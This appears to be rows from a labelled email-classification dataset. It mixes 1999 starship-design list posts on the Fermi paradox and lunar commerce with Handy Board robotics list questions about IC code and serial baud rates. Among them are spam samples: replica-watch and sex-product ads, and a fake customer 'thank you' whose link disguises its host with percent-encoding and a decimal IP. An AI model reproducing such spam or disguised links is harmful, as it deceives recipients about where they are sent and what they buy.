(ae05109.powerup.com.au [203.147.197.109]) by fepa.mail.ozemail.net (8.9.0/8.6.12) with SMTP id SAA17748 for ; Sat, 24 Jul 1999 18:54:20 +1000 (EST) Message-ID: <001701bed5b2$4a52fc00$6dc593cb@oemcomputer> References: <4a8812dc.24c92650@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk Reply-To: ""Adam Crowl"" From: ""Adam Crowl"" Sender: owner-starship-design@lists.uoregon.edu To: Subject: Re: starship-design: Clarke's Laws Date: Sat, 24 Jul 1999 18:55:32 +1000 Hi Guys, The original statement is in ""Report On Planet Three"" or ""Profiles of the Future"". It's definitely something he wrote as he refers to it many times elsewhere. I think the original context was about starflight. Adam ----- Original Message ----- From: To: ; Sent: Friday, July 23, 1999 11:58 AM Subject: Re: starship-design: Clarke's Laws > > In a message dated 7/22/99 2:59:41 PM, nlindber@u.washington.edu writes: > > >Hello All, > > I have heard of Clarke's 2nd Law, ""All sufficiently advanced > >technology is indistinguishable from magic"", But i have always heard that > >second-hand, usually in discussions about human ET relations. I was > >wondering if anyone on the group knew what the title of clarke's original > >essay/book having to do with the ""laws"" was. > >Thanks, > >Nels Lindberg > > > I'm not sure it was even something written in his essays. > > Kelly > >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""8326"" ""Sunday"" ""25"" ""July"" ""1999"" ""11:05:31"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""158"" ""starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 8326 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id JAA11735 for starship-design-outgoing; Sun, 25 Jul 1999 09:06:29 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id JAA11730 for ; Sun, 25 Jul 1999 09:06:26 -0700 (PDT) Received: from broadsword (p276.gnt.com [204.49.91.36]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id LAA18573 for ; Sun, 25 Jul 1999 11:06:22 -0500 Message-ID: <000101bed6b7$92ea7230$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 11:05:31 -0500 WHERE ARE THEY? What follows is a commentary on several recent theories regarding life in our galaxy and my ideas on the results of these theories when applied to the Drake Equation in attempt to answer Fermi's Paradox. Drake's Equation (see http://www.seti.org/drake-eq.html for an explanation) has been a past topic of conversation here many times. I first came across this equation many years ago and have been fascinated with it ever since. For those of you not familiar with it, it basically an algebraic representation of the probability for the existence of life, and in particular, intelligent life in our galaxy. This was in response to Fermi's famous query, ""Where are they?"", now called Fermi's Paradox. I am always interested in any ideas or theories that would help to answer Fermi's question and recently two new theories have been propounded that bear directly upon the parameters for Drake's Equation. The equation itself is fairly straight forward. Choosing values for each of the variables however, is not so easy. Many of these variables must be no more than educated guesses. Different values for some of the variables can produce wildly different results, hence a better understanding of the conditions which define those variables can make an enormous difference in the accuracy of the equations solution. GAMMA RAY BURSTS The first new theory is from James Annis, an astrophysicist at Fermilab near Chicago. He thinks cataclysmic gamma-ray bursts often sterilize galaxies, wiping out life forms before they have evolved sufficiently to leave their planet (Journal of the British Interplanetary Society, vol 52, p 19). GRBs are thought to be the most powerful explosions in the Universe, releasing as much energy as a supernova in seconds. Many scientists think the bursts occur when the remnants of dead stars such as neutron stars or black holes collide. Annis points out that each GRB unleashes devastating amounts of radiation. ""If one went off in the Galactic center, we here two-thirds of the way out on the Galactic disc would be exposed over a few seconds to a wave of powerful gamma rays."" He believes this would be lethal to life on land. The rate of GRBs is about one burst per galaxy every few hundred million years. But Annis says theories of GRBs suggest the rate was much higher in the past, with galaxies suffering one strike every few million years -- far shorter than any plausible time scale for the emergence of intelligent life capable of space travel. That, says Annis, may be the answer to Fermi's question. ""They just haven't had enough time to get here yet,"" he says. ""The GRB model essentially resets the available time for the rise of intelligent life to zero each time a burst occurs."" Paul Davies, a visiting physicist at Imperial College, London, says the basic idea for resolving the paradox makes sense. ""Any Galaxy-wide sterilizing event would do,"" he says. However, he adds that GRBs may be too brief: ""If the drama is all over in seconds, you only zap half a planet. The planet's mass shields the shadowed side."" Annis counters that GRBs are likely to have many indirect effects, such as wrecking ozone layers that protect planets from deadly levels of ultraviolet radiation. Annis also highlights an intriguing implication of the theory: the current rate of GRBs allows intelligent life to evolve for a few hundred million years before being zapped, possibly giving it enough time to reach the space faring stage. ""It may be that intelligent life has recently sprouted up at many places in the Galaxy and that at least a few groups are busily engaged in spreading."" LARGE MOONS The second theory deals with a surprising connection between the conditions required for a total eclipse and for the emergence of intelligent life. Guillermo Gonzalez of the University of Washington in Seattle points out that our distance from the Sun is a necessary condition for us to be here. ""If we were a little nearer or farther from the Sun, the Earth would be too hot or too cold and so uninhabitable,"" says Gonzalez. At the same time our existence depends on an unusually large moon since its pull stops the Earth wobbling around too much on its axis and causing wild and catastrophic swings in climate like those on Mars. Our Moon, which is unusually large compared to those in almost all other planet-moon systems, probably formed from molten material blasted from the Earth during the impact of a giant body more than 4 billion years ago. In the current issue of Astronomy & Geophysics (vol 40, p 3.18), Gonzalez points out that the way the Moon formed means it started off very close to the Earth and has taken several billion years to move far enough away until it precisely covers the Sun during an eclipse. ""The timescale is very similar to that of the appearance of intelligent life,"" he says. ""It is therefore not such a big coincidence that we are around at the time when it is possible to see total eclipses."" Because tidal effects cause the Moon to slowly recede from the Earth, perfect eclipses have been visible only for about 150 million years and will continue for only another 150 million years, about 5 per cent of the current age of the Earth. Furthermore, Earth is the only planet in our Solar System where a perfect eclipse is visible, although there are 64 other moons. If Gonzalez is right, then all extraterrestrials, wherever they are, are likely to live on planets like ours that experience total eclipses. But since an unusually large Moon is rare, he says, this suggests that both ETs and total eclipses are very rare indeed. WHAT IT MEANS Taken together, these two factors enormously reduce the values of at least one and probably as many as three variables to practically zero offering at least one possible answer to Fermi's query, there aren't any... If you consider all of the factors you can write a simple relation, using Drake's Equation, for estimating the probability. I use the word ""estimate"" intentionally because our knowledge of most of the factors is so poor that we are really only guessing. Drake's Equation, involves 7 factors as follows: |Number of | |Rate | |Fraction| |Number | |Fraction| |civilizations| |of | |of stars| |of | |of | |in our galaxy| |star | |with | |planets | |planets | |capable of | = |formation| X |planets | X |per star| X |on which| |communication| |(per | |with | |life | |now | |year) | |suitable| |appears | |environ-| |ment | |Fraction| |Fraction | |Longevity | |of life | |of | |of each | |bearing | |intelli- | |technology | x |planets | X |gent | X |in | |on which| |societies| |communi- | |intelli-| |which | |cative | |gence | |develop | |mode (years)| |emerges | |communi- | |cation | |ability | Suppose you guessed that stars in our galaxy form at the rate of one per year (probably not a bad estimate), that 1/5 of the stars have planets (no one knows), that there are 0.0005859375 planets with stable environments (length of time between GRBs divided by the age of our solar system times the fraction of planets with suitable moons in our solar system ), that life appears on each (fraction = 1), that intelligence emerges on each of these (fraction= 1), that 1/10 of these develop communication capability and that these remain in this state for 1000 years. Then, it works out that the number is 0.01171875. In other words, in one hundred thousand years, only one intelligent, communicative civilization would appear, far less than most current speculations. Note that other than the value for suitable life bearing planets, all of the rest of the values were heavily in favor of intelligent life developing. Reducing either of the next two factors to reasonable levels further reduces the odds by several orders of magnitude. If you accept these two theories (and remember, they are just theories), then in all likelihood Earth is the only planet in the galaxy that currently harbors intelligent life. L. Parker >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""8401"" ""Sunday"" ""25"" ""July"" ""1999"" ""09:33:03"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""149"" ""starship-design: The Next Thirty Years: A Business Vision"" ""^From:"" nil nil ""7"" nil ""starship-design: The Next Thirty Years: A Business Vision"" nil nil nil] nil) Content-Length: 8401 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id JAA11727 for starship-design-outgoing; Sun, 25 Jul 1999 09:06:25 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id JAA11718 for ; Sun, 25 Jul 1999 09:06:22 -0700 (PDT) Received: from broadsword (p276.gnt.com [204.49.91.36]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id LAA18566 for ; Sun, 25 Jul 1999 11:06:17 -0500 Message-ID: <000001bed6b7$8f30c590$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: The Next Thirty Years: A Business Vision Date: Sun, 25 Jul 1999 09:33:03 -0500 Reposted from SpaceDaily The Next Thirty Years: A Business Vision by Joe Schembrie AstroTug Corporation Seattle - July 19, 1999 - Thirty years ago, when the Apollo astronauts became the first humans to voyage to the Moon, they surveyed the lunar landscape and spoke of 'magnificent desolation.' Thirty years later, the Moon is still as desolate as they left it. Will it be that way thirty years from now? Back in the 1960s, we had so many heady dreams that never came to pass. We thought that the Apollo missions would be followed up by regular flights to the Moon. There would soon be a refueling base, and then even colonies. Next stop: Mars. Why not? The government was spending 5.7 % of the federal budget on the space program. Massive government spending would buy the rockets, the stations, the moon bases. The best and brightest, attracted to government service through selfless dedication, would plan every step. Enduring motivation would be provided through government-mandated goals of national prestige, defense, and science. Then the taxpayers grumbled, and the ordering of governmental priorities was altered. Thirty years of space-advocate cheerleading for public funding has coincided with a seven-fold decline in NASA's budget and the indefinite postponement of trips beyond Earth orbit. The bad news is, today we're in competition before Congress with a million other bright ideas on how to spend other people's tax money -- and all of them are 'for the children.' The good news is, today we no longer have to rely solely on government to advance the cause of human space exploration. The computer and communications revolutions are creating an ever-increasing demand for commercial satellites. A hundred-billion-dollar launch services market cries out for cheap access to space. And what a market that big wants, it usually gets. Following is a brief scenario of how private enterprise might advance the human space endeavor. It's not a call for a government industrial planning agency. It's not a call for special subsidies. It's not the business plan of any one company. It's simply some speculations on how that much-maligned motivator known as 'short-term profit-seeking' may well lure us back to the Moon -- this time not just to plant footprints, but to establish cities. The Personal Space Initiative begins with cheap access to space. Reusable Launch Vehicles are already being built which will replace the far more expensive throwaway vehicles presently used to launch satellites. Within the next four years, by 2004, surely one such vehicle will be orbiting payloads for less than $1000/pound. First-generation RLVs will be too small to place large payloads directly into high orbit. Instead, they will launch satellite and orbital transfer fuel on separate flights into Low Earth Orbit. A teleoperated space tug, guided by humans and computers on the ground, will shepherd the satellite and fuel together and push them toward Geosynchronous Earth Orbit -- and beyond. For such LEO-to-GEO transfers, ion propulsion in place of chemical-fuel propulsion will save thousands of pounds of fuel per space tug mission. With fuel transported from Earth into low orbit costing $1000/pound, millions of dollars will be saved per mission. NASA's Deep Space One probe has already proven that ion propulsion is feasible for inner solar system space flight. A reusable ion space tug can be built now and be ready for transorbital missions when RLVs need them, around 2005. Yet ion propulsion is slow to accelerate, and can take a month or more pushing a satellite from LEO to GEO -- and time is a very critical cost issue when satellite depreciation and interest charges run to millions of dollars per month. An alternative, preferable source of high-thrust chemical fuel for orbital transfer missions can be found on the Moon, where lunar ice can be mined and converted into hydrogen-oxygen fuel by teleoperated equipment, and then transported by teleoperated vehicles down to LEO for only a few dollars per pound. 'Lunar Express' can be in service by 2007. The satellite orbital transfer business will annually require hundreds of thousands of pounds of lunar ice/fuel to be shipped from Luna to LEO. Why couldn't humans ride to the Moon on the return trips? Perhaps by 2009, a human will revisit the Moon aboard a teleoperated moon shuttle. Humans on the Moon will prospect for rare metals. For an overall transport cost which is a tiny fraction of their market value, gold, platinum, palladium, and even silver mined on the Moon can be lifted into lunar orbit with chemical rockets whose hydrogen-oxygen fuel is derived from lunar ice, and then towed down to LEO with ion space tugs, and then dropped from LEO to Earth's surface inside disposable atmospheric entry shells. Lunar rare metals -- a potential twenty billion dollar a year industry -- should be discovered by 2011. In just four years, the California Gold Rush drew two hundred thousand people across a continental divide as formidable in the nineteenth century as the distance between Earth and Moon will be in the twenty-first. A multi-billion dollar lunar mining industry could afford and rapidly attract thousands of miners as soon as a major strike occurs. And with that $1000/pound shipping charge from Earth, there will be a powerful incentive to grow food, manufacture clothing, and construct habitats from local materials. Accomplishing those tasks of lunar self-sufficiency will be thousands of additional workers -- and entrepreneurs. Lunar mining company executives will want to retain people rather than ship them up from Earth in rapid rotation, and that means making the lunar environment as hospitable as possible. Perhaps cities will resemble something along the lines of multiple stadium-like enclosures, with a transparent dome over a central parkland, ringed by condominiums and shops. The first such lunar atrium, housing as many as a thousand humans, could be erected by 2015. As life on the Moon proceeds from magnificent desolation to comfortable self-sufficiency, and second-generation RLVs bring the cost of space access down to $100/pound or less, other reasons for lunar colonization open up. There's space tourism. There's old folks retirement (for those in their late seventies and older, low gravity can make the difference between an active and sedentary lifestyle). And the environmental laws will be looser and the taxes lower (we hope). By 2030, the Moon could be speckled with numerous large domed ecospheres, filled with trees and lakes gleaming beneath the earthlight, populated by creative and industrious pioneers who consider themselves not so much the offspring of earthly states as the founding citizens of an interplanetary civilization. The Apollo astronauts saw a barren, airless, lifeless world that made them glad to come home. The Moon has remained in that pristine but slaglike state for thirty years. But thirty years from now, there will be enterprises and cities, gardens and even young forests on the Moon. How soon can this vision be realized? Ion tugs could be ready when RLVs are, and once teleoperated vehicles are in routine service to the Moon, it will be difficult to restrain humans from hitching rides. Creative individual initiative and the profit motive could make it all happen sooner than currently thought. What is certain is that the journey back to the Moon has already begun. With appropriately directed enthusiasm, all of this will be achieved in the private sector, driven by market forces -- without grumbling taxpayers, without subsidies, without the 'guidance' of a central planning agency -- for much less cost than grandiose governmental efforts. Giant political leaps failed, but small private steps will not. There's just too much money to be made. That's why, thirty years from now, there will be regular flights to the Moon, and a refueling base, and even colonies. And perhaps well before that time, there will be an intrepid lunar entrepreneur with enough vision to say, ""Next Stop: Mars."" Joe Schembrie, a lifelong space enthusiast, has a BS in Electrical Engineering and an MBA from the University of Washington. An engineer who has worked for the US Department of the Navy and the Boeing Airplane Company, he is currently President of Astrotug, a company dedicated to the development of teleoperated space tugs.",0,1 """greater172107@earthlink.net"" ",,"Fri, 23 Jul 1999 16:26:19 -0400",[9fans] Thank you for your continued support! (157344)," As a special thank you from our team at Web-entertainment, we have signed special licensing deals with top entertainment facilities across the world. Please enjoy with our compliments and trust that we value you as a customer and look forward to continuing our services to you in the future as well as today! http://40%3670%34%3127@3466572555/splitz/index.html ******************************************************************* 36380 ",0,1 Stephen Marsland ,handyboard@media.mit.edu,"Fri, 23 Jul 1999 09:10:13 +0100",IC Problem,"-- Hello. I hope you can help. I'm using IC 3.1 for Linux and am having a problem with structs. I had code which ran fine under gcc, but ic hates it. I've got an array of pointers to a strct, struct SOFM *ptrSOM[4] and then within the program for (j=0; j<4; j++) function_call(ptrSOM[j]) but the compiler sees this as a pointer to an array, rather an element of an array of pointers. Very grateful if you have any ideas, Stephen Stephen Marsland Research Student, Robotics Research Group, Room 2.60, Department of Computer Science, Univ of Manchester M13 9PL Phone: 0161 275 6205 (day) or 0161 933 8591 (evening).",0,0 Fred Martin ,"aaron@stallion.oz.au, handyboard@media.mit.edu","Thu, 08 Jul 1999 15:13:06 -0400",Re: encoders and analog ports," my shaft encoder routines are not compatible with the old servo routines. please try the new servo routines at http://el.www.media.mit.edu/projects/handy-board/software/libs.html fred >hi there > >i'm not yet receiving this list so could any replies please not leave >out my direct email. > >my problem is thus. > >i've got 5 of the hb's analog ports used by ldr's. they all work fine >and have done so as line detectors for 3 years now. > >i have just recently ripped a mouse apart and am trying to have a shaft >encoder. > >this has also been successful to a certain degree. using the hb >fencdr0.icb i get a nice velocity and everything is fine with the >encoder part. > >however i've found that having the fencdr0.icb loaded the ldr's which >are attached to the other analog ports are returning wild readings. if i >manually in ic, read the sensors analog(1); and such they read back ok. >but since i have my sensor code in a spawned process maybe this has >something to do with it?? > >so i'm assuming that the fencdr0.icb is somehow interfering with the ldr >analog readings. spurious readings mean no robot = can't have encoder >running at the same time. bugger. > >has anyone else every run across this problem. i did a search using the >cool mailing search provided and was a bit swamped. > >thanks >aaron. >-- >_____________________________________________________________________ >Aaron Dwyer >http://members.xoom.com/aarondwyer > ",0,1 Martin Frischherz ,handyboard@media.mit.edu,"Fri, 23 Jul 1999 15:43:59 +0200",HB Serial line speed change,"Hi! I'm asking this again, since I've got no definitive answer: Is it possible to change the speed of the HB serial line to 19200? I need to communicate with a device which has a fix 19200 setting! Is it possible or can I forget the HB for this project? Martin Martin Frischherz frisch@kapsch.net ",0,0 George Musser Jr ,handyboard@media.mit.edu,"Fri, 23 Jul 1999 11:05:20 -0400",Re: HB Serial line speed change,"To add to Martin's question, how can you change the baud rate used by IC 3.x? It's easy enough to alter the speed of the UART by setting the BAUD register or POKEing the relevant location in the pcode interpreter. Randy Sargent's code fragments can be extended in either direction (http://www.ai.mit.edu/people/rsargent/ic/serialio.html). If anyone wants, I can post my own version of this code - including set_baud() and other functions - to the new IC archive. Moreover, changing the timing would presumably allow any baud rate on the PA7 serial line described in http://lcs.www.media.mit.edu:80/groups/el/projects/handy-board/software/serial.html, though I haven't tried it. But changing the speed of the development environment itself is a different matter. I need to slow things down because my RF serial link only handles up to 4800 baud, and I don't want to lose the 'I' part of IC. Any help whatsoever would be welcome. Ultimately, we may need Randy, Fred & Co. to release IC 3.3! Peace, George >Is it possible to change the speed of the HB serial line to 19200? >I need to communicate with a device which has a fix 19200 setting! > >Is it possible or can I forget the HB for this project? > >Martin > >Martin Frischherz >frisch@kapsch.net -- George Musser georgejr@musser.com KF6LOJ _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 Lamar Bassett ,"handyboard@media.mit.edu, lenora@media.mit.edu, edward@media.mit.edu, helga@media.mit.edu, michele@media.mit.edu, sara@media.mit.edu","Fri, 23 Jul 1999 18:51:31 +0500",Rolex and Omega are Affordable ZUAj," Why pay more for originals when replikas are look 99.9% alike? Highest quality of replikas assured which can't differentiate the difference with originals. And available at 95% original prices. Try us out today.. http://043.extrafriez.com o-ut of mai-lling lisst: http://043.extrafriez.com/rm/ u9EbI ",1,1 Will Bain ,Handyboard Mailing List ,"Fri, 23 Jul 1999 12:09:15 -0600",Re: IC Problem,"Stephen Marsland wrote: > I had code which ran fine under gcc, but ic hates it. > I've got an array of pointers to a strct, > > struct SOFM *ptrSOM[4] > > and then within the program > for (j=0; j<4; j++) > function_call(ptrSOM[j]) > > but the compiler sees this as a pointer to an array, rather an element > of an array of pointers. I had to go RTFM for this one ;-) It says: 5.6 Arrays and Pointers IC supports one-dimensional arrays of characters, integers, long integers, and floating-point numbers. Pointers to data items and arrays are supported. It doesn't say that pointers to pointers or arrays of pointers or 2-D arrays are allowed, so I'm guessing that they're not. Also, I see no mention of structs being supported, either. IC is a little different from regular C, but it's still a powerful, expressive language. I'm sure there's probably a way to do what you want in IC, but with such a small code snippet, I can only guess. But hey, at least we're not stuck with only machine language programming <8-o Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Idealism is fine, but as it approaches reality Will Bain, the cost becomes prohibitive. & Tatoosh --William F. Buckley, Jr.",0,0 Thomas Heidel ,""",Handyboard list"" ","Fri, 23 Jul 1999 23:22:08 +0200",Re: Yet another board,"Chuck, nice dream! I would be in too. But why not design a kind of a extension board which would replace the curend extension board? It would save some money i guess. Thomas. > Hello Everyone, > > I've had something of a vision, and I don't think it was spoiled food :-) > And I'd like some feedback on it. Bear with me, it requires a bit of set up. > > After working with Handyboards, Miniboards, 6.270 Boards, BOTBoards and > other 68HC11 boards I find I enjoy their easy programability but always > seem to need some outside circuit to deal with a particular sensor, or other. > > Recently, on the advice of a friend, I purchased the ""Xilinx Student > Edition V1.5"" from Amazon.com ($90, anyone is a ""student""): > http://www.amazon.com/exec/obidos/ASIN/0136716296/ref=ed_oe_p/002-5447280-30 > 80618 > What this book is, is a students guide to learning about FPGAs (Field > Programmable Gate Arrays), using Xilinx software. It includes all of the > software necessary to design ten thousand gate equivalent FPGAs (XC4010XL > parts). The final chapter/example in the book is building an 8 bit > microprocessor in a single 5000 gate gate array! > > If you buy the book you get a coupon that lets you buy the XESS demoboard > with an XC4005 chip (used for all the tutorials in the book) for $109. So > for an investment of $200, you end up with everything you need to not only > learn how to design FPGAs, but to implement them as well. Not a bad deal at > all. > > The XESS demoboard manual is shown here: > http://www.xess.com/FPGA/manual.html > > This board has an 8031 on it, 32K of SRAM, the Xilinx part, a parallel > port, VGA type connector, 7 segment LED, and wall-wart to 5V&3V power > supply. Its something like 2"" by 4"" in size. Both edges of the boards are > rows of pins the are connected to the FPGA so you can plug the whole board > into a solderless breadboard and use it that way, or strips of wire wrap > headers. > > The Xilinx part is RAM based, meaning that you download your circuit design > into it at powerup, or it can automatically read it from a serial EEPROM, > and then you start using it. All in all it is a very cool board, if only it > had a 68HC11 instead of an 8031 ... > > Flash back to my discussion with my FPGA expert friend who designed a 16 > bit RISC machine in one of these FPGAs. He was explaining to me how he > loaded software into memory for his computer since there were no i/o > devices attached except for a serial port. He said, > > ""First, I download into the FPGA a serial UART and a DMA device > which takes data from the serial port and deposits it into memory. > Then I reset the board and download the CPU into the FPGA and the > CPU starts executing the program out of memory."" > > If that doesn't sound like Star Trek I don't know what does. > > So one morning, I woke up from a dream. And in my dream I had a robot board > that had a 68HC11, some RAM, and the whole thing was hooked up to an FPGA > in a socket next to it. There was a dual motor driver on board with its > control pins hooked to the FPGA, the FPGA was connected to the 68HC11 bus > signals, there were additional ""high current"" I/O pins connected to the > FPGA as well as protected input pins. I had just finished downloading a PWM > circuit that attached to the motor controller pins and implemented an i/o > port in the 68HC11's address space. I then added a timer/interrupt circuit > that controlled a sonar unit and a another device that I could write out > servo positioning codes to and it would send out servo signals on the pins > I specified. Then I added a 38Khz clock circuit (dividing out the CPU > clock) that drove some IR LEDs that were being modulated and then monitored > by a digital phase locked loop circuit. I'd used up a thousand gates in the > FPGA and still had 4000 left so I implemented an additional serial port > that could drive three pins and had it's interrupts on the 68HC11 IRQ pin. > > The scary thing is, this dream is not only possible, it would probably cost > no more than a 20 - 30% premium over what a handyboard does today. > > So, I want to build this sucker (or have someone build it and I'll buy a > bunch!) I figure the board would have an EEPROM for the FPGA so that a > ""standard"" configuration could be loaded into it and sent with boards where > the user didn't want or need to pay $100 to get the Xilinx tools. Maybe we > could create a circuits library that could be downloaded into this board > like a software library. > > Comments? Feedback? Would you buy one if it was available? Even if the kit > cost $300? (rough guess based on a four layer board, F1 version of the > 68HC11 and XC4005.) > > --Chuck > ",0,1 Chau Maria Lu ,handyboard@media.mit.edu,"Fri, 23 Jul 1999 16:40:29 -0400",something is wrong with my handyboard,"when I turn on my handyboard, a row of black squares appears on the top line of the LCD screen. I have had friends check for shorts and I have redownloaded the pcode_hb.s19 programs on to the handyboard (as the FAQ part of the handyboard web page suggested). However we haven't been able to loacate any shorts and redownloading the p_code doesn't seem to help. In addition to black squares appearing on the LCD screen, ocassionaly strange (possibly japanese) characters appear on the screen. But other then my LCD screen missbehaving, the handyboard seems to work fine and, when I run IC, the computer recognizes that the p_codes are loaded. Does anyone know whats up with my handyboard?? chau *************************************************************************** ""Well-behaved women rarely make history"" --Laurel Thatcher Ulrich ************************************************************************** ",0,0 Satish Chetty ,Chau Maria Lu ,"Sat, 24 Jul 1999 06:54:30 +1000",Re: something is wrong with my handyboard," Can you put the board in bootstrap mode? -Satish. On Fri, 23 Jul 1999, Chau Maria Lu wrote: > when I turn on my handyboard, a row of black squares appears on the top > line of the LCD screen. > > I have had friends check for shorts and I have redownloaded the > pcode_hb.s19 programs on to the handyboard (as the FAQ part of the > handyboard web page suggested). However we haven't been able to loacate > any shorts and redownloading the p_code doesn't seem to help. > > In addition to black squares appearing on the LCD screen, ocassionaly > strange (possibly japanese) characters appear on the screen. > > But other then my LCD screen missbehaving, the handyboard seems to work > fine and, when I run IC, the computer recognizes that the p_codes are > loaded. > > Does anyone know whats up with my handyboard?? > > chau > > > > > > *************************************************************************** > > ""Well-behaved women rarely make history"" > --Laurel Thatcher Ulrich > > ************************************************************************** > ",0,0 Aaron Dwyer ,Chau Maria Lu ,"Sat, 24 Jul 1999 10:01:21 +1000",Re: something is wrong with my handyboard,"it sounds like the pcode is going down onto the board, but you may have an open on your lcd header / connector. if you can talk to the board using ic (make it beep or such) then it's just the lcd output. check for open circuits first. Chau Maria Lu wrote: > > when I turn on my handyboard, a row of black squares appears on the top > line of the LCD screen. > > I have had friends check for shorts and I have redownloaded the > pcode_hb.s19 programs on to the handyboard (as the FAQ part of the > handyboard web page suggested). However we haven't been able to loacate > any shorts and redownloading the p_code doesn't seem to help. > > In addition to black squares appearing on the LCD screen, ocassionaly > strange (possibly japanese) characters appear on the screen. > > But other then my LCD screen missbehaving, the handyboard seems to work > fine and, when I run IC, the computer recognizes that the p_codes are > loaded. > > Does anyone know whats up with my handyboard?? -- _____________________________________________________________________ Aaron Dwyer http://members.xoom.com/aarondwyer ",0,1 George Musser Jr ,handyboard@media.mit.edu,"Fri, 23 Jul 1999 20:24:45 -0400",Re: HB Serial line speed change,"Here is the relevant function. Note that it only works for baud rates up to 9600. void set_baud(int rate) /* For an 8 MHz clock */ { if (rate >= 300) poke(BAUD, 0xb0 | log2(9600/rate)); } You'll need regdefines.c (for the address of BAUD) as well as the following function: int log2(int x) /* 2**logx <= x < 2**(logx+1) */ { int logx; if (x) { logx = 15; while (!(0x8000 & x)) { x <<= 1; logx--; } return logx; } else return -1; } I personally like the generality of invoking log2(), but you can of course use a series of if statements instead. There is also a location in the pcode interpreter that you can POKE to change the baud rate used by IC. But until IC can adjust its rate, this operation will break the connection. George -- George Musser georgejr@musser.com KF6LOJ _______________________________________________________________ Get Free Email and Do More On The Web. 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However we haven't been able to loacate > any shorts and redownloading the p_code doesn't seem to help. > > In addition to black squares appearing on the LCD screen, ocassionaly > strange (possibly japanese) characters appear on the screen. > > But other then my LCD screen missbehaving, the handyboard seems to work > fine and, when I run IC, the computer recognizes that the p_codes are > loaded. > > Does anyone know whats up with my handyboard?? > > chau > > > > > > *************************************************************************** > > ""Well-behaved women rarely make history"" > --Laurel Thatcher Ulrich > > ************************************************************************** > > ",0,0 Jorge ,'Roslyn' ,"Sat, 24 Jul 1999 03:53:51 -0500",have longer sex tonight," Hi friend: We have quality product to help you Enjoy better sex life. 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Bits 4 and 5 set the prescaler, and then 0 thru 2 set the baud rate. With an 8Mhz clock you can set the prescaler to produce as a top baud rate either 125K, 41.67K, 31.25K, or 9600. Then with the lower three bits you can divide that top rate by 1 through 8 (so anything smaller in increments of 1/2 up to 8 times) [For you music fans the Handboard can be programmed for 31.5K with is the MIDI standard rate] To get 19.2 you need run the board at 10Mhz which you can't do with the handyboard. --Chuck ",0,0 Marianne Grove ,Leigh ,,Re [14]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Regards, Peter Gasparik ",0,0 Chuck McManis ,"Peter Gasparik , handyboard@media.mit.edu, Martin Frischherz ","Sat, 24 Jul 1999 20:29:28 -0700",Re: HB Serial line speed change,"At 10:43 AM 7/25/99 +0800, Peter Gasparik wrote: >You can communicate at higher baud rates (19200 or 38400) on an 8MHz 68HC11 >if you disable SCI and use software ""bit-bashing"" routines. Note that this will also require that you disable interrupts, and that will mess up your motors. However, it should be possible. --Chuck ",0,0 Steve VanDevender ,"""Starship-Design (E-mail)"" ","Sun, 25 Jul 1999 10:06:10 -0700",starship-design: WHERE ARE THEY?,"There is some recent theoretical work suggesting that gamma-ray bursts are non-isotropic, meaning that they do not radiate equally in all directions. These models claim that gamma-ray bursts happen when a massive star in a particular mass range undergoes a core collapse; a black home forms in the core, an accretion disk forms around the black hole from matter that has not yet fallen into the core, and the accretion disk creates two extremely energetic relativistic particle beams perpendicular to the disk. These blast through the outer layers of the star and create the gamma-ray burst when they impact the interstellar medium. So from two directions you can see a gamma-ray burst, but from other directions the star looks mostly like a normal supernova. If this is true then gamma-ray burst events are even more common, but we can see only those whose beams point at us. However, it is then unlikely that gamma-ray bursts can sterilize galaxies. I have heard other claims that our large moon influenced the development of life on this planet, but your summary of Guillermo Gonzalez's claim that intelligent life is somehow connected to the presense of solar eclipses doesn't even attempt to speculate why these necessarily have to be connected. >From VM Mon Jul 26 09:43:13 1999 